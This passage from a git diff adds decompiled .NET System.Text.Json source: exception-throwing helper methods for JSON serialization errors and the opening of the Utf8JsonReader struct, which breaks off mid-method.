type)); + } + + [DoesNotReturn] + public static void ReThrowWithPath(scoped ref ReadStack state, JsonReaderException ex) + { + string text = state.JsonPath(); + string message = ex.Message; + int num = message.LastIndexOf(" LineNumber: ", StringComparison.Ordinal); + message = ((num < 0) ? (message + " Path: " + text + ".") : (message.Substring(0, num) + " Path: " + text + " |" + message.Substring(num))); + throw new JsonException(message, text, ex.LineNumber, ex.BytePositionInLine, ex); + } + + [DoesNotReturn] + public static void ReThrowWithPath(scoped ref ReadStack state, in Utf8JsonReader reader, Exception ex) + { + JsonException ex2 = new JsonException(null, ex); + AddJsonExceptionInformation(ref state, in reader, ex2); + throw ex2; + } + + public static void AddJsonExceptionInformation(scoped ref ReadStack state, in Utf8JsonReader reader, JsonException ex) + { + long lineNumber = reader.CurrentState._lineNumber; + ex.LineNumber = lineNumber; + long bytePositionInLine = reader.CurrentState._bytePositionInLine; + ex.BytePositionInLine = bytePositionInLine; + string arg = (ex.Path = state.JsonPath()); + string text2 = ex._message; + if (string.IsNullOrEmpty(text2)) + { + Type p = state.Current.JsonPropertyInfo?.PropertyType ?? state.Current.JsonTypeInfo.Type; + text2 = System.SR.Format(System.SR.DeserializeUnableToConvertValue, p); + ex.AppendPathInformation = true; + } + if (ex.AppendPathInformation) + { + text2 += $" Path: {arg} | LineNumber: {lineNumber} | BytePositionInLine: {bytePositionInLine}."; + ex.SetMessage(text2); + } + } + + [DoesNotReturn] + public static void ReThrowWithPath(ref WriteStack state, Exception ex) + { + JsonException ex2 = new JsonException(null, ex); + AddJsonExceptionInformation(ref state, ex2); + throw ex2; + } + + public static void AddJsonExceptionInformation(ref WriteStack state, JsonException ex) + { + string text = (ex.Path = state.PropertyPath()); + string text3 = ex._message; + if (string.IsNullOrEmpty(text3)) + { + text3 = System.SR.Format(System.SR.SerializeUnableToSerialize); + ex.AppendPathInformation = true; + } + if (ex.AppendPathInformation) + { + text3 = text3 + " Path: " + text + "."; + ex.SetMessage(text3); + } + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_SerializationDuplicateAttribute(Type attribute, MemberInfo memberInfo) + { + string p = ((memberInfo is Type type) ? type.ToString() : $"{memberInfo.DeclaringType}.{memberInfo.Name}"); + throw new InvalidOperationException(System.SR.Format(System.SR.SerializationDuplicateAttribute, attribute, p)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_SerializationDuplicateTypeAttribute(Type classType, Type attribute) + { + throw new InvalidOperationException(System.SR.Format(System.SR.SerializationDuplicateTypeAttribute, classType, attribute)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_SerializationDuplicateTypeAttribute(Type classType) + { + throw new InvalidOperationException(System.SR.Format(System.SR.SerializationDuplicateTypeAttribute, classType, typeof(TAttribute))); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_ExtensionDataConflictsWithUnmappedMemberHandling(Type classType, JsonPropertyInfo jsonPropertyInfo) + { + throw new InvalidOperationException(System.SR.Format(System.SR.ExtensionDataConflictsWithUnmappedMemberHandling, classType, jsonPropertyInfo.MemberName)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_SerializationDataExtensionPropertyInvalid(JsonPropertyInfo jsonPropertyInfo) + { + throw new InvalidOperationException(System.SR.Format(System.SR.SerializationDataExtensionPropertyInvalid, jsonPropertyInfo.PropertyType, jsonPropertyInfo.MemberName)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_NodeJsonObjectCustomConverterNotAllowedOnExtensionProperty() + { + throw new InvalidOperationException(System.SR.NodeJsonObjectCustomConverterNotAllowedOnExtensionProperty); + } + + [DoesNotReturn] + public static void ThrowNotSupportedException(scoped ref ReadStack state, in Utf8JsonReader reader, NotSupportedException ex) + { + string text = ex.Message; + Type type = state.Current.JsonPropertyInfo?.PropertyType ?? state.Current.JsonTypeInfo.Type; + if (!text.Contains(type.ToString())) + { + if (text.Length > 0) + { + text += " "; + } + text += System.SR.Format(System.SR.SerializationNotSupportedParentType, type); + } + long lineNumber = reader.CurrentState._lineNumber; + long bytePositionInLine = reader.CurrentState._bytePositionInLine; + text += $" Path: {state.JsonPath()} | LineNumber: {lineNumber} | BytePositionInLine: {bytePositionInLine}."; + throw new NotSupportedException(text, ex); + } + + [DoesNotReturn] + public static void ThrowNotSupportedException(ref WriteStack state, NotSupportedException ex) + { + string text = ex.Message; + Type type = state.Current.JsonPropertyInfo?.PropertyType ?? state.Current.JsonTypeInfo.Type; + if (!text.Contains(type.ToString())) + { + if (text.Length > 0) + { + text += " "; + } + text += System.SR.Format(System.SR.SerializationNotSupportedParentType, type); + } + text = text + " Path: " + state.PropertyPath() + "."; + throw new NotSupportedException(text, ex); + } + + [DoesNotReturn] + public static void ThrowNotSupportedException_DeserializeNoConstructor(Type type, ref Utf8JsonReader reader, scoped ref ReadStack state) + { + string message = ((!type.IsInterface) ? System.SR.Format(System.SR.DeserializeNoConstructor, "JsonConstructorAttribute", type) : System.SR.Format(System.SR.DeserializePolymorphicInterface, type)); + ThrowNotSupportedException(ref state, in reader, new NotSupportedException(message)); + } + + [DoesNotReturn] + public static void ThrowNotSupportedException_CannotPopulateCollection(Type type, ref Utf8JsonReader reader, scoped ref ReadStack state) + { + ThrowNotSupportedException(ref state, in reader, new NotSupportedException(System.SR.Format(System.SR.CannotPopulateCollection, type))); + } + + [DoesNotReturn] + public static void ThrowJsonException_MetadataValuesInvalidToken(JsonTokenType tokenType) + { + ThrowJsonException(System.SR.Format(System.SR.MetadataInvalidTokenAfterValues, tokenType)); + } + + [DoesNotReturn] + public static void ThrowJsonException_MetadataReferenceNotFound(string id) + { + ThrowJsonException(System.SR.Format(System.SR.MetadataReferenceNotFound, id)); + } + + [DoesNotReturn] + public static void ThrowJsonException_MetadataValueWasNotString(JsonTokenType tokenType) + { + ThrowJsonException(System.SR.Format(System.SR.MetadataValueWasNotString, tokenType)); + } + + [DoesNotReturn] + public static void ThrowJsonException_MetadataValueWasNotString(JsonValueKind valueKind) + { + ThrowJsonException(System.SR.Format(System.SR.MetadataValueWasNotString, valueKind)); + } + + [DoesNotReturn] + public static void ThrowJsonException_MetadataReferenceObjectCannotContainOtherProperties(ReadOnlySpan propertyName, scoped ref ReadStack state) + { + state.Current.JsonPropertyName = propertyName.ToArray(); + ThrowJsonException_MetadataReferenceObjectCannotContainOtherProperties(); + } + + [DoesNotReturn] + public static void ThrowJsonException_MetadataUnexpectedProperty(ReadOnlySpan propertyName, scoped ref ReadStack state) + { + state.Current.JsonPropertyName = propertyName.ToArray(); + ThrowJsonException(System.SR.Format(System.SR.MetadataUnexpectedProperty)); + } + + [DoesNotReturn] + public static void ThrowJsonException_UnmappedJsonProperty(Type type, string unmappedPropertyName) + { + throw new JsonException(System.SR.Format(System.SR.UnmappedJsonProperty, unmappedPropertyName, type)); + } + + [DoesNotReturn] + public static void ThrowJsonException_MetadataReferenceObjectCannotContainOtherProperties() + { + ThrowJsonException(System.SR.MetadataReferenceCannotContainOtherProperties); + } + + [DoesNotReturn] + public static void ThrowJsonException_MetadataIdIsNotFirstProperty(ReadOnlySpan propertyName, scoped ref ReadStack state) + { + state.Current.JsonPropertyName = propertyName.ToArray(); + ThrowJsonException(System.SR.MetadataIdIsNotFirstProperty); + } + + [DoesNotReturn] + public static void ThrowJsonException_MetadataStandaloneValuesProperty(scoped ref ReadStack state, ReadOnlySpan propertyName) + { + state.Current.JsonPropertyName = propertyName.ToArray(); + ThrowJsonException(System.SR.MetadataStandaloneValuesProperty); + } + + [DoesNotReturn] + public static void ThrowJsonException_MetadataInvalidPropertyWithLeadingDollarSign(ReadOnlySpan propertyName, scoped ref ReadStack state, in Utf8JsonReader reader) + { + if (state.Current.IsProcessingDictionary()) + { + state.Current.JsonPropertyNameAsString = reader.GetString(); + } + else + { + state.Current.JsonPropertyName = propertyName.ToArray(); + } + ThrowJsonException(System.SR.MetadataInvalidPropertyWithLeadingDollarSign); + } + + [DoesNotReturn] + public static void ThrowJsonException_MetadataDuplicateIdFound(string id) + { + ThrowJsonException(System.SR.Format(System.SR.MetadataDuplicateIdFound, id)); + } + + [DoesNotReturn] + public static void ThrowJsonException_MetadataDuplicateTypeProperty() + { + ThrowJsonException(System.SR.MetadataDuplicateTypeProperty); + } + + [DoesNotReturn] + public static void ThrowJsonException_MetadataInvalidReferenceToValueType(Type propertyType) + { + ThrowJsonException(System.SR.Format(System.SR.MetadataInvalidReferenceToValueType, propertyType)); + } + + [DoesNotReturn] + public static void ThrowJsonException_MetadataInvalidPropertyInArrayMetadata(scoped ref ReadStack state, Type propertyType, in Utf8JsonReader reader) + { + state.Current.JsonPropertyName = (reader.HasValueSequence ? reader.ValueSequence.ToArray() : reader.ValueSpan.ToArray()); + string p = reader.GetString(); + ThrowJsonException(System.SR.Format(System.SR.MetadataPreservedArrayFailed, System.SR.Format(System.SR.MetadataInvalidPropertyInArrayMetadata, p), System.SR.Format(System.SR.DeserializeUnableToConvertValue, propertyType))); + } + + [DoesNotReturn] + public static void ThrowJsonException_MetadataPreservedArrayValuesNotFound(scoped ref ReadStack state, Type propertyType) + { + state.Current.JsonPropertyName = null; + ThrowJsonException(System.SR.Format(System.SR.MetadataPreservedArrayFailed, System.SR.MetadataStandaloneValuesProperty, System.SR.Format(System.SR.DeserializeUnableToConvertValue, propertyType))); + } + + [DoesNotReturn] + public static void ThrowJsonException_MetadataCannotParsePreservedObjectIntoImmutable(Type propertyType) + { + ThrowJsonException(System.SR.Format(System.SR.MetadataCannotParsePreservedObjectToImmutable, propertyType)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_MetadataReferenceOfTypeCannotBeAssignedToType(string referenceId, Type currentType, Type typeToConvert) + { + throw new InvalidOperationException(System.SR.Format(System.SR.MetadataReferenceOfTypeCannotBeAssignedToType, referenceId, currentType, typeToConvert)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_JsonPropertyInfoIsBoundToDifferentJsonTypeInfo(JsonPropertyInfo propertyInfo) + { + throw new InvalidOperationException(System.SR.Format(System.SR.JsonPropertyInfoBoundToDifferentParent, propertyInfo.Name, propertyInfo.ParentTypeInfo.Type.FullName)); + } + + [DoesNotReturn] + internal static void ThrowUnexpectedMetadataException(ReadOnlySpan propertyName, ref Utf8JsonReader reader, scoped ref ReadStack state) + { + if (JsonSerializer.GetMetadataPropertyName(propertyName, state.Current.BaseJsonTypeInfo.PolymorphicTypeResolver) != MetadataPropertyName.None) + { + ThrowJsonException_MetadataUnexpectedProperty(propertyName, ref state); + } + else + { + ThrowJsonException_MetadataInvalidPropertyWithLeadingDollarSign(propertyName, ref state, in reader); + } + } + + [DoesNotReturn] + public static void ThrowNotSupportedException_NoMetadataForType(Type type, IJsonTypeInfoResolver resolver) + { + throw new NotSupportedException(System.SR.Format(System.SR.NoMetadataForType, type, resolver?.ToString() ?? "")); + } + + public static NotSupportedException GetNotSupportedException_AmbiguousMetadataForType(Type type, Type match1, Type match2) + { + return new NotSupportedException(System.SR.Format(System.SR.AmbiguousMetadataForType, type, match1, match2)); + } + + [DoesNotReturn] + public static void ThrowNotSupportedException_ConstructorContainsNullParameterNames(Type declaringType) + { + throw new NotSupportedException(System.SR.Format(System.SR.ConstructorContainsNullParameterNames, declaringType)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_NoMetadataForType(Type type, IJsonTypeInfoResolver resolver) + { + throw new InvalidOperationException(System.SR.Format(System.SR.NoMetadataForType, type, resolver?.ToString() ?? "")); + } + + public static Exception GetInvalidOperationException_NoMetadataForTypeProperties(IJsonTypeInfoResolver resolver, Type type) + { + return new InvalidOperationException(System.SR.Format(System.SR.NoMetadataForTypeProperties, resolver?.ToString() ?? "", type)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_NoMetadataForTypeProperties(IJsonTypeInfoResolver resolver, Type type) + { + throw GetInvalidOperationException_NoMetadataForTypeProperties(resolver, type); + } + + [DoesNotReturn] + public static void ThrowMissingMemberException_MissingFSharpCoreMember(string missingFsharpCoreMember) + { + throw new MissingMemberException(System.SR.Format(System.SR.MissingFSharpCoreMember, missingFsharpCoreMember)); + } + + [DoesNotReturn] + public static void ThrowNotSupportedException_BaseConverterDoesNotSupportMetadata(Type derivedType) + { + throw new NotSupportedException(System.SR.Format(System.SR.Polymorphism_DerivedConverterDoesNotSupportMetadata, derivedType)); + } + + [DoesNotReturn] + public static void ThrowNotSupportedException_DerivedConverterDoesNotSupportMetadata(Type derivedType) + { + throw new NotSupportedException(System.SR.Format(System.SR.Polymorphism_DerivedConverterDoesNotSupportMetadata, derivedType)); + } + + [DoesNotReturn] + public static void ThrowNotSupportedException_RuntimeTypeNotSupported(Type baseType, Type runtimeType) + { + throw new NotSupportedException(System.SR.Format(System.SR.Polymorphism_RuntimeTypeNotSupported, runtimeType, baseType)); + } + + [DoesNotReturn] + public static void ThrowNotSupportedException_RuntimeTypeDiamondAmbiguity(Type baseType, Type runtimeType, Type derivedType1, Type derivedType2) + { + throw new NotSupportedException(System.SR.Format(System.SR.Polymorphism_RuntimeTypeDiamondAmbiguity, runtimeType, derivedType1, derivedType2, baseType)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_TypeDoesNotSupportPolymorphism(Type baseType) + { + throw new InvalidOperationException(System.SR.Format(System.SR.Polymorphism_TypeDoesNotSupportPolymorphism, baseType)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_DerivedTypeNotSupported(Type baseType, Type derivedType) + { + throw new InvalidOperationException(System.SR.Format(System.SR.Polymorphism_DerivedTypeIsNotSupported, derivedType, baseType)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_DerivedTypeIsAlreadySpecified(Type baseType, Type derivedType) + { + throw new InvalidOperationException(System.SR.Format(System.SR.Polymorphism_DerivedTypeIsAlreadySpecified, baseType, derivedType)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_TypeDicriminatorIdIsAlreadySpecified(Type baseType, object typeDiscriminator) + { + throw new InvalidOperationException(System.SR.Format(System.SR.Polymorphism_TypeDicriminatorIdIsAlreadySpecified, baseType, typeDiscriminator)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_InvalidCustomTypeDiscriminatorPropertyName() + { + throw new InvalidOperationException(System.SR.Polymorphism_InvalidCustomTypeDiscriminatorPropertyName); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_PolymorphicTypeConfigurationDoesNotSpecifyDerivedTypes(Type baseType) + { + throw new InvalidOperationException(System.SR.Format(System.SR.Polymorphism_ConfigurationDoesNotSpecifyDerivedTypes, baseType)); + } + + [DoesNotReturn] + public static void ThrowInvalidOperationException_InvalidEnumTypeWithSpecialChar(Type enumType, string enumName) + { + throw new InvalidOperationException(System.SR.Format(System.SR.InvalidEnumTypeWithSpecialChar, enumType.Name, enumName)); + } + + [DoesNotReturn] + public static void ThrowJsonException_UnrecognizedTypeDiscriminator(object typeDiscriminator) + { + ThrowJsonException(System.SR.Format(System.SR.Polymorphism_UnrecognizedTypeDiscriminator, typeDiscriminator)); + } + + [DoesNotReturn] + public static void ThrowArgumentException_JsonPolymorphismOptionsAssociatedWithDifferentJsonTypeInfo(string parameterName) + { + throw new ArgumentException(System.SR.JsonPolymorphismOptionsAssociatedWithDifferentJsonTypeInfo, parameterName); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/Utf8JsonReader.cs b/decompiled/Libraries/system.text.json/System.Text.Json/Utf8JsonReader.cs new file mode 100644 index 0000000..0a61d24 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/Utf8JsonReader.cs @@ -0,0 +1,4846 @@ +using System.Buffers; +using System.Buffers.Text; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.Runtime.CompilerServices; + +namespace System.Text.Json; + +[DebuggerDisplay("{DebuggerDisplay,nq}")] +public ref struct Utf8JsonReader +{ + private readonly struct PartialStateForRollback(long totalConsumed, long bytePositionInLine, int consumed, SequencePosition currentPosition) + { + public readonly long _prevTotalConsumed = totalConsumed; + + public readonly long _prevBytePositionInLine = bytePositionInLine; + + public readonly int _prevConsumed = consumed; + + public readonly SequencePosition _prevCurrentPosition = currentPosition; + + public SequencePosition GetStartPosition(int offset = 0) + { + return new SequencePosition(_prevCurrentPosition.GetObject(), _prevCurrentPosition.GetInteger() + _prevConsumed + offset); + } + } + + private ReadOnlySpan _buffer; + + private readonly bool _isFinalBlock; + + private readonly bool _isInputSequence; + + private long _lineNumber; + + private long _bytePositionInLine; + + private int _consumed; + + private bool _inObject; + + private bool _isNotPrimitive; + + private JsonTokenType _tokenType; + + private JsonTokenType _previousTokenType; + + private JsonReaderOptions _readerOptions; + + private BitStack _bitStack; + + private long _totalConsumed; + + private bool _isLastSegment; + + private readonly bool _isMultiSegment; + + private bool _trailingCommaBeforeComment; + + private SequencePosition _nextPosition; + + private SequencePosition _currentPosition; + + private readonly ReadOnlySequence _sequence; + + private bool IsLastSpan + { + get + { + if (_isFinalBlock) + { + if (_isMultiSegment) + { + return _isLastSegment; + } + return true; + } + return false; + } + } + + internal ReadOnlySequence OriginalSequence => _sequence; + + internal ReadOnlySpan OriginalSpan + { + get + { + if (!_sequence.IsEmpty) + { + return default(ReadOnlySpan); + } + return _buffer; + } + } + + internal readonly int ValueLength + { + get + { + if (!HasValueSequence) + { + return ValueSpan.Length; + } + return checked((int)ValueSequence.Length); + } + } + + public ReadOnlySpan ValueSpan { get; private set; } + + public readonly long BytesConsumed => _totalConsumed + _consumed; + + public long TokenStartIndex { get; private set; } + + public readonly int CurrentDepth + { + get + { + int num = _bitStack.CurrentDepth; + if (TokenType == JsonTokenType.StartArray || TokenType == JsonTokenType.StartObject) + { + num--; + } + return num; + } + } + + internal bool IsInArray => !_inObject; + + public readonly JsonTokenType TokenType => _tokenType; + + public bool HasValueSequence { get; private set; } + + public bool ValueIsEscaped { get; private set; } + + public readonly bool IsFinalBlock => _isFinalBlock; + + public ReadOnlySequence ValueSequence { get; private set; } + + public readonly SequencePosition Position + { + get + { + if (_isInputSequence) + { + return _sequence.GetPosition(_consumed, _currentPosition); + } + return default(SequencePosition); + } + } + + public readonly JsonReaderState CurrentState => new JsonReaderState + { + _lineNumber = _lineNumber, + _bytePositionInLine = _bytePositionInLine, + _inObject = _inObject, + _isNotPrimitive = _isNotPrimitive, + _valueIsEscaped = ValueIsEscaped, + _trailingCommaBeforeComment = _trailingCommaBeforeComment, + _tokenType = _tokenType, + _previousTokenType = _previousTokenType, + _readerOptions = _readerOptions, + _bitStack = _bitStack + }; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + private string DebuggerDisplay => $"TokenType = {DebugTokenType}, TokenStartIndex = {TokenStartIndex}, Consumed = {BytesConsumed}"; + + private string DebugTokenType => TokenType switch + { + JsonTokenType.Comment => "Comment", + JsonTokenType.EndArray => "EndArray", + JsonTokenType.EndObject => "EndObject", + JsonTokenType.False => "False", + JsonTokenType.None => "None", + JsonTokenType.Null => "Null", + JsonTokenType.Number => "Number", + JsonTokenType.PropertyName => "PropertyName", + JsonTokenType.StartArray => "StartArray", + JsonTokenType.StartObject => "StartObject", + JsonTokenType.String => "String", + JsonTokenType.True => "True", + _ => ((byte)TokenType).ToString(), + }; + + public Utf8JsonReader(ReadOnlySpan jsonData, bool isFinalBlock, JsonReaderState state) + { + _buffer = jsonData; + _isFinalBlock = isFinalBlock; + _isInputSequence = false; + _lineNumber = state._lineNumber; + _bytePositionInLine = state._bytePositionInLine; + _inObject = state._inObject; + _isNotPrimitive = state._isNotPrimitive; + ValueIsEscaped = state._valueIsEscaped; + _trailingCommaBeforeComment = state._trailingCommaBeforeComment; + _tokenType = state._tokenType; + _previousTokenType = state._previousTokenType; + _readerOptions = state._readerOptions; + if (_readerOptions.MaxDepth == 0) + { + _readerOptions.MaxDepth = 64; + } + _bitStack = state._bitStack; + _consumed = 0; + TokenStartIndex = 0L; + _totalConsumed = 0L; + _isLastSegment = _isFinalBlock; + _isMultiSegment = false; + ValueSpan = ReadOnlySpan.Empty; + _currentPosition = default(SequencePosition); + _nextPosition = default(SequencePosition); + _sequence = default(ReadOnlySequence); + HasValueSequence = false; + ValueSequence = ReadOnlySequence.Empty; + } + + public Utf8JsonReader(ReadOnlySpan jsonData, JsonReaderOptions options = default(JsonReaderOptions)) + { + this = new Utf8JsonReader(jsonData, isFinalBlock: true, new JsonReaderState(options)); + } + + public bool Read() + { + bool flag = (_isMultiSegment ? ReadMultiSegment() : ReadSingleSegment()); + if (!flag && _isFinalBlock && TokenType == JsonTokenType.None) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedJsonTokens, 0); + } + return flag; + } + + public void Skip() + { + if (!_isFinalBlock) + { + ThrowHelper.ThrowInvalidOperationException_CannotSkipOnPartial(); + } + SkipHelper(); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private void SkipHelper() + { + if (TokenType == JsonTokenType.PropertyName) + { + bool flag = Read(); + } + if (TokenType == JsonTokenType.StartObject || TokenType == JsonTokenType.StartArray) + { + int currentDepth = CurrentDepth; + do + { + bool flag2 = Read(); + } + while (currentDepth < CurrentDepth); + } + } + + public bool TrySkip() + { + if (_isFinalBlock) + { + SkipHelper(); + return true; + } + return TrySkipHelper(); + } + + private bool TrySkipHelper() + { + Utf8JsonReader utf8JsonReader = this; + if (TokenType != JsonTokenType.PropertyName || Read()) + { + if (TokenType != JsonTokenType.StartObject && TokenType != JsonTokenType.StartArray) + { + goto IL_0042; + } + int currentDepth = CurrentDepth; + while (Read()) + { + if (currentDepth < CurrentDepth) + { + continue; + } + goto IL_0042; + } + } + this = utf8JsonReader; + return false; + IL_0042: + return true; + } + + public readonly bool ValueTextEquals(ReadOnlySpan utf8Text) + { + if (!IsTokenTypeString(TokenType)) + { + ThrowHelper.ThrowInvalidOperationException_ExpectedStringComparison(TokenType); + } + return TextEqualsHelper(utf8Text); + } + + public readonly bool ValueTextEquals(string? text) + { + return ValueTextEquals(text.AsSpan()); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private readonly bool TextEqualsHelper(ReadOnlySpan otherUtf8Text) + { + if (HasValueSequence) + { + return CompareToSequence(otherUtf8Text); + } + if (ValueIsEscaped) + { + return UnescapeAndCompare(otherUtf8Text); + } + return otherUtf8Text.SequenceEqual(ValueSpan); + } + + public readonly bool ValueTextEquals(ReadOnlySpan text) + { + if (!IsTokenTypeString(TokenType)) + { + ThrowHelper.ThrowInvalidOperationException_ExpectedStringComparison(TokenType); + } + if (MatchNotPossible(text.Length)) + { + return false; + } + byte[] array = null; + int num = checked(text.Length * 3); + Span destination; + if (num > 256) + { + array = ArrayPool.Shared.Rent(num); + destination = array; + } + else + { + destination = stackalloc byte[256]; + } + int written; + OperationStatus operationStatus = JsonWriterHelper.ToUtf8(text, destination, out written); + bool result = operationStatus != OperationStatus.InvalidData && TextEqualsHelper(destination.Slice(0, written)); + if (array != null) + { + destination.Slice(0, written).Clear(); + ArrayPool.Shared.Return(array); + } + return result; + } + + private readonly bool CompareToSequence(ReadOnlySpan other) + { + if (ValueIsEscaped) + { + return UnescapeSequenceAndCompare(other); + } + ReadOnlySequence valueSequence = ValueSequence; + if (valueSequence.Length != other.Length) + { + return false; + } + int num = 0; + ReadOnlySequence.Enumerator enumerator = valueSequence.GetEnumerator(); + while (enumerator.MoveNext()) + { + ReadOnlySpan span = enumerator.Current.Span; + if (other.Slice(num).StartsWith(span)) + { + num += span.Length; + continue; + } + return false; + } + return true; + } + + private readonly bool UnescapeAndCompare(ReadOnlySpan other) + { + ReadOnlySpan valueSpan = ValueSpan; + if (valueSpan.Length < other.Length || valueSpan.Length / 6 > other.Length) + { + return false; + } + int num = valueSpan.IndexOf((byte)92); + if (!other.StartsWith(valueSpan.Slice(0, num))) + { + return false; + } + return JsonReaderHelper.UnescapeAndCompare(valueSpan.Slice(num), other.Slice(num)); + } + + private readonly bool UnescapeSequenceAndCompare(ReadOnlySpan other) + { + ReadOnlySequence valueSequence = ValueSequence; + long length = valueSequence.Length; + if (length < other.Length || length / 6 > other.Length) + { + return false; + } + int num = 0; + bool result = false; + ReadOnlySequence.Enumerator enumerator = valueSequence.GetEnumerator(); + while (enumerator.MoveNext()) + { + ReadOnlySpan span = enumerator.Current.Span; + int num2 = span.IndexOf((byte)92); + if (num2 != -1) + { + if (other.Slice(num).StartsWith(span.Slice(0, num2))) + { + num += num2; + other = other.Slice(num); + valueSequence = valueSequence.Slice(num); + result = ((!valueSequence.IsSingleSegment) ? JsonReaderHelper.UnescapeAndCompare(valueSequence, other) : JsonReaderHelper.UnescapeAndCompare(valueSequence.First.Span, other)); + } + break; + } + if (!other.Slice(num).StartsWith(span)) + { + break; + } + num += span.Length; + } + return result; + } + + private static bool IsTokenTypeString(JsonTokenType tokenType) + { + if (tokenType != JsonTokenType.PropertyName) + { + return tokenType == JsonTokenType.String; + } + return true; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private readonly bool MatchNotPossible(int charTextLength) + { + if (HasValueSequence) + { + return MatchNotPossibleSequence(charTextLength); + } + int length = ValueSpan.Length; + if (length < charTextLength || length / (ValueIsEscaped ? 6 : 3) > charTextLength) + { + return true; + } + return false; + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private readonly bool MatchNotPossibleSequence(int charTextLength) + { + long length = ValueSequence.Length; + if (length < charTextLength || length / (ValueIsEscaped ? 6 : 3) > charTextLength) + { + return true; + } + return false; + } + + private void StartObject() + { + if (_bitStack.CurrentDepth >= _readerOptions.MaxDepth) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ObjectDepthTooLarge, 0); + } + _bitStack.PushTrue(); + ValueSpan = _buffer.Slice(_consumed, 1); + _consumed++; + _bytePositionInLine++; + _tokenType = JsonTokenType.StartObject; + _inObject = true; + } + + private void EndObject() + { + if (!_inObject || _bitStack.CurrentDepth <= 0) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.MismatchedObjectArray, 125); + } + if (_trailingCommaBeforeComment) + { + if (!_readerOptions.AllowTrailingCommas) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.TrailingCommaNotAllowedBeforeObjectEnd, 0); + } + _trailingCommaBeforeComment = false; + } + _tokenType = JsonTokenType.EndObject; + ValueSpan = _buffer.Slice(_consumed, 1); + UpdateBitStackOnEndToken(); + } + + private void StartArray() + { + if (_bitStack.CurrentDepth >= _readerOptions.MaxDepth) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ArrayDepthTooLarge, 0); + } + _bitStack.PushFalse(); + ValueSpan = _buffer.Slice(_consumed, 1); + _consumed++; + _bytePositionInLine++; + _tokenType = JsonTokenType.StartArray; + _inObject = false; + } + + private void EndArray() + { + if (_inObject || _bitStack.CurrentDepth <= 0) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.MismatchedObjectArray, 93); + } + if (_trailingCommaBeforeComment) + { + if (!_readerOptions.AllowTrailingCommas) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.TrailingCommaNotAllowedBeforeArrayEnd, 0); + } + _trailingCommaBeforeComment = false; + } + _tokenType = JsonTokenType.EndArray; + ValueSpan = _buffer.Slice(_consumed, 1); + UpdateBitStackOnEndToken(); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private void UpdateBitStackOnEndToken() + { + _consumed++; + _bytePositionInLine++; + _inObject = _bitStack.Pop(); + } + + private bool ReadSingleSegment() + { + bool flag = false; + ValueSpan = default(ReadOnlySpan); + ValueIsEscaped = false; + if (HasMoreData()) + { + byte b = _buffer[_consumed]; + if (b <= 32) + { + SkipWhiteSpace(); + if (!HasMoreData()) + { + goto IL_0139; + } + b = _buffer[_consumed]; + } + TokenStartIndex = _consumed; + if (_tokenType != JsonTokenType.None) + { + if (b == 47) + { + flag = ConsumeNextTokenOrRollback(b); + } + else if (_tokenType == JsonTokenType.StartObject) + { + if (b == 125) + { + EndObject(); + goto IL_0137; + } + if (b != 34) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedStartOfPropertyNotFound, b); + } + int consumed = _consumed; + long bytePositionInLine = _bytePositionInLine; + long lineNumber = _lineNumber; + flag = ConsumePropertyName(); + if (!flag) + { + _consumed = consumed; + _tokenType = JsonTokenType.StartObject; + _bytePositionInLine = bytePositionInLine; + _lineNumber = lineNumber; + } + } + else if (_tokenType != JsonTokenType.StartArray) + { + flag = ((_tokenType != JsonTokenType.PropertyName) ? ConsumeNextTokenOrRollback(b) : ConsumeValue(b)); + } + else + { + if (b == 93) + { + EndArray(); + goto IL_0137; + } + flag = ConsumeValue(b); + } + } + else + { + flag = ReadFirstToken(b); + } + } + goto IL_0139; + IL_0139: + return flag; + IL_0137: + flag = true; + goto IL_0139; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private bool HasMoreData() + { + if (_consumed >= (uint)_buffer.Length) + { + if (_isNotPrimitive && IsLastSpan) + { + if (_bitStack.CurrentDepth != 0) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ZeroDepthAtEnd, 0); + } + if (_readerOptions.CommentHandling == JsonCommentHandling.Allow && _tokenType == JsonTokenType.Comment) + { + return false; + } + if (_tokenType != JsonTokenType.EndArray && _tokenType != JsonTokenType.EndObject) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.InvalidEndOfJsonNonPrimitive, 0); + } + } + return false; + } + return true; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private bool HasMoreData(ExceptionResource resource) + { + if (_consumed >= (uint)_buffer.Length) + { + if (IsLastSpan) + { + ThrowHelper.ThrowJsonReaderException(ref this, resource, 0); + } + return false; + } + return true; + } + + private bool ReadFirstToken(byte first) + { + switch (first) + { + 